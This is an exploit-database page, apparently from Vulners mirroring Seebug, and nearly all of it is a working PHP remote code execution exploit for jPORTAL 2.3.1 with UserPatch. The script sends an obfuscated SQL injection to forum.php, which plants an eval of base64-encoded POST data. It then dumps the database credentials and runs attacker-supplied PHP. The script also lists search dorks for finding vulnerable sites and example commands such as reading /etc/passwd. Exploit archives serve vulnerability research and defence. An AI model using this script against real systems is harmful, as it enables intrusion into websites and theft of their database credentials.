Lucene search
K

jPORTAL 2.3.1 & UserPatch (forum.php) Remote Code Execution Exploit

🗓️ 30 Dec 2007 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 15 Views

jPORTAL 2.3.1 & UserPatch Remote Code Execution Exploit by irk4

Code

                                                <?php
#
# jPORTAL 2.3.1 & UserPatch (forum.php) Remote PHP Code Execution Exploit
#
# author: irk4z[at]yahoo.pl
#         http://irk4z.wordpress.com
#
#
# dorks: "powered by jPORTAL 2 & UserPatch"
#        "powered by jPORTAL 2"
#
# greetz: str0ke, wacky, polish under :*
#--------------------------------------------------------------------->

$host = $argv[1];
$path = $argv[2];
$phpcode = $argv[3];

$info = 
"\n#\n".
"# jPORTAL 2.3.1 & UserPatch (forum.php) Remote PHP Code Execution Exploit\n".
"#\n".
"# author: irk4z[at]yahoo.pl\n".
"#         http://irk4z.wordpress.com\n".
"#\n".
"#\n".
"# greetz: str0ke, wacky, polish under :*\n".
"#--------------------------------------------------------------------->\n";
echo $info;

if($argc<4){
	echo "# Obsluga: \n".
		 "#         php host path phpcode \n".
		 "#         php localhost /~jportal/ phpinfo(); \n".
		 "#         php localhost /~jportal/ \"system('uname -a');\" \n".
		 "#         php localhost /~jportal/ \"system('cat /etc/passwd');\"\n".
		 "#\n".		 
		 "# exploit c0ded by irk4z :D";
	die;
}

$data="do=".base64_encode(base64_decode('Z2xvYmFsICRkYl9ob3N0LCAkZGJfdXNlciwgJGRiX3Bhc3MsICRkYl9uYW1lLCAkcHJlZml4OyANCmVjaG8gIlwkZGJfaG9zdCA9ICckZGJfaG9zdCc7XG4iLg0KIlwkZGJfdXNlciA9ICckZGJfdXNlcic7XG4iLg0KIlwkZGJfcGFzcyA9ICckZGJfcGFzcyc7XG4iLg0KIlwkZGJfbmFtZSA9ICckZGJfbmFtZSc7XG4iLg0KIlwkcHJlZml4ID0gJyRwcmVmaXgnO1xuXG5QSFAgQ09ERSBFWEVDVVRJT04gUkVTVUxUOlxuIjs').$phpcode);

$packet = 
"POST {$path}forum.php?cmd=as_readed&category=18000/**/U%6EION/**/S%65LECT/**/1,2,0x223B6576616C286261736536345F6465636F646528245F504F53545B27646F275D29293B6469653B24746D703D22/* HTTP/1.0\r\n".
"Host: {$host}\r\n".
"Content-type: application/x-www-form-urlencoded\r\n".
"Content-length: ".strlen($data)."\r\n\r\n".$data;

$wynik = send($host, 80, $packet);
$tmp = strpos($wynik, '$db_host');
if (empty($tmp)){echo "\nWystapil blad :( Sprawdz poprawnosc danych wejsciowych..\n\n# exploit c0ded by irk4z :D"; }else{
	echo "\n";
	echo "KONFIGURACJA BAZY DANYCH:\n";
	echo substr($wynik, $tmp, strlen($wynik)-$tmp);
	echo "\n\n# exploit c0ded by irk4z :D";
}


function send($host, $port, $packet)
{
 $s = @fsockopen($host, $port);
 if (empty($s)) return;
 fputs($s, $packet); $retu ='';
 while(!feof($s)){$retu.=fgets($s);}
 fclose($s);
 return $retu;
}
?>
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

30 Dec 2007 00:00Current
7.1High risk
Vulners AI Score7.1
15